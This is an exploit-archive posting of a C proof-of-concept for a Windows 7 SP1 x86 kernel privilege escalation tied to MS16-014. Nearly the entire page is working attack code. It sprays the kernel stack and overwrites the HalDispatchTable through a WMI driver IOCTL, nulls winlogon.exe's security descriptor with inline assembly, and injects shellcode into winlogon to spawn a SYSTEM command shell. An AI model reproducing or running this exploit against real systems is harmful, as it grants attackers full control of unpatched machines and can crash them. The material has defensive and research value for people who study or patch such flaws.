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Windows 7 SP1 x86 Privilege Escalation

Windows 7 SP1 x86 Privilege Escalation
Posted Jun 30, 2016
Authored by blomster81

Windows 7 SP1 x86 privilege escalation exploit that leverages the issue documented in MS16-014.

tags | exploit, x86
systems | windows
advisories | CVE-2016-0400
SHA-256 | 90dceeedf953cb4edb51470fa645fd788318328c628cb56e0c176a1148d50f58

Windows 7 SP1 x86 Privilege Escalation

Change Mirror Download
/* 
# Exploit Title: Elevation of privilege on Windows 7 SP1 x86
# Date: 28/06-2016
# Exploit Author: @blomster81
# Vendor Homepage: www.microsoft.com
# Version: Windows 7 SP1 x86
# Tested on: Windows 7 SP1 x86
# CVE : 2016-0400

MS16-014 EoP PoC created from
https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
Spawns CMD.exe with SYSTEM rights.
Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point

********* EDB Note *********

ntos.h is available here: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40039.zip

***************************

*/

#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>
#include "ntos.h"
#include <TlHelp32.h>


typedef union {
HANDLE Handle;
ULONG64 Handle64;
ULONG32 Handle32;
}
HANDLE3264, *PHANDLE3264;

typedef struct {
ULONG HandleCount;
ULONG Action;
HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
HANDLE3264 UserModeProcess;
HANDLE3264 Handles[20];
}
WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;

#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring

typedef struct {
IN VOID * ObjectAttributes;
IN ACCESS_MASK DesiredAccess;

OUT HANDLE3264 Handle;
}
WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;

typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef struct _DESKTOPINFO
{
/* 000 */ PVOID pvDesktopBase;
/* 008 */ PVOID pvDesktopLimit;

} DESKTOPINFO, *PDESKTOPINFO;


typedef struct _CLIENTINFO
{
/* 000 */ DWORD CI_flags;
/* 004 */ DWORD cSpins;
/* 008 */ DWORD dwExpWinVer;
/* 00c */ DWORD dwCompatFlags;
/* 010 */ DWORD dwCompatFlags2;
/* 014 */ DWORD dwTIFlags;
/* 018 */ DWORD filler1;
/* 01c */ DWORD filler2;
/* 020 */ PDESKTOPINFO pDeskInfo;
/* 028 */ ULONG_PTR ulClientDelta;

} CLIENTINFO, *PCLIENTINFO;

typedef struct _HANDLEENTRY {
PVOID phead;
ULONG_PTR pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
}HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD64 cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
}SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;

#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)

typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);

DWORD g_HalDispatchTable = 0;
void* kHandle;
HWND g_window = NULL;
const WCHAR g_windowClassName[] = L"Victim_Window";
WNDCLASSEX wc;
PSHAREDINFO g_pSharedInfo;
PSERVERINFO g_pServerInfo;
HANDLEENTRY* g_UserHandleTable;

LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

DWORD getProcessId(wchar_t* str)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD PID;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return 0;
}

pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
return 0;
}

do
{
if (!wcscmp(pe32.szExeFile, str))
{
wprintf(L"Process: %s found\n", pe32.szExeFile);
PID = pe32.th32ProcessID;
return PID;
}
} while (Process32Next(hProcessSnap, &pe32));
return 0;
}

void Launch()
{
void* pMem;
char shellcode[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
"\x65\x78\x65\x00";

wchar_t* str = L"winlogon.exe";
DWORD PID = getProcessId(str);
HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);
HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
}

BOOL leakHal()
{
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
PRTL_PROCESS_MODULES pModuleInfo;
DWORD ntoskrnlBase;
DWORD HalDTUser, HalDTOffset;
HMODULE userKernel;

pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pModuleInfo == NULL)
{
printf("Could not allocate memory\n");
return FALSE;
}
NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);
ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (userKernel == NULL)
{
printf("Could not load ntoskrnl.exe\n");
return FALSE;
}

HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");
HalDTOffset = HalDTUser - (DWORD)userKernel;
g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;
return TRUE;
}

BOOL setup()
{
LoadLibraryA("user32.dll");

wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = WProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = NULL;
wc.hCursor = NULL;
wc.hIcon = NULL;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszMenuName = NULL;
wc.lpszClassName = g_windowClassName;
wc.hIconSm = NULL;

if (!RegisterClassEx(&wc))
{
printf("Failed to register window: %d\n", GetLastError());
return FALSE;
}
g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
if (g_window == NULL)
{
printf("Failed to create window: %d\n", GetLastError());
return FALSE;
}

g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
g_UserHandleTable = g_pSharedInfo->aheList;
g_pServerInfo = g_pSharedInfo->psi;

return TRUE;
}

DWORD leakWndAddr(HWND hwnd)
{
DWORD addr = 0;
HWND kernelHandle = NULL;

for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
{
kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
if (kernelHandle == hwnd)
{
addr = (DWORD)g_UserHandleTable[i].phead;
break;
}
}
return addr;
}

VOID SprayKernelStack() {
g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
if (ZwMapUserPhysicalPages == NULL)
{
printf("Could not get ZwMapUserPhysicalPages\n");
return;
}
BYTE buffer[4096];
DWORD value = g_HalDispatchTable - 0x3C + 0x4;
for (int i = 0; i < sizeof(buffer) / 4; i++)
{
memcpy(buffer + i * 4, &value, sizeof(DWORD));
}
printf("Where is at: 0x%x\n", buffer);
ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
}

__declspec(noinline) int Shellcode()
{
__asm {
mov eax, kHandle // WND - Which window? Check this
mov eax, [eax + 8] // THREADINFO
mov eax, [eax] // ETHREAD
mov eax, [eax + 0x150] // KPROCESS
mov eax, [eax + 0xb8] // flink
procloop:
lea edx, [eax - 0xb8] // KPROCESS
mov eax, [eax]
add edx, 0x16c // module name
cmp dword ptr[edx], 0x6c6e6977 // �winl� for winlogon.exe
jne procloop
sub edx, 0x170
mov dword ptr[edx], 0x0 // NULL ACL
ret
}
}

int main() {
DWORD dwBytesReturned;
HANDLE threadhandle;
WMIRECEIVENOTIFICATION buffer;
CHAR OutPut[1000];

if (!setup())
{
printf("Could not setup window\n");
return 0;
}


PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
kHandle = (void*)leakWndAddr(g_window);
memset(userSC, 0x41, 0x1000);
memcpy(userSC, Shellcode, 0x40);


if (!leakHal())
{
printf("Could not leak Hal\n");
return 0;
}
printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);

DWORD value = (DWORD)userSC;
PBYTE buff = (PBYTE)&buffer;
for (int i = 0; i < sizeof(buffer) / 4; i++)
{
memcpy(buff + i * 4, &value, sizeof(DWORD));
}
printf("What is at: 0x%x\n", buff);

buffer.HandleCount = 0;
buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
buffer.UserModeProcess.Handle = GetCurrentProcess();

HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDriver != INVALID_HANDLE_VALUE) {
SprayKernelStack();

if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
return 1;
}

}
_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
ULONG result;
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
NtQueryIntervalProfile(stProfile, &result);
printf("SYSTEM shell comming\n");
Launch();
printf("All done, exiting\n");

return 0;
}

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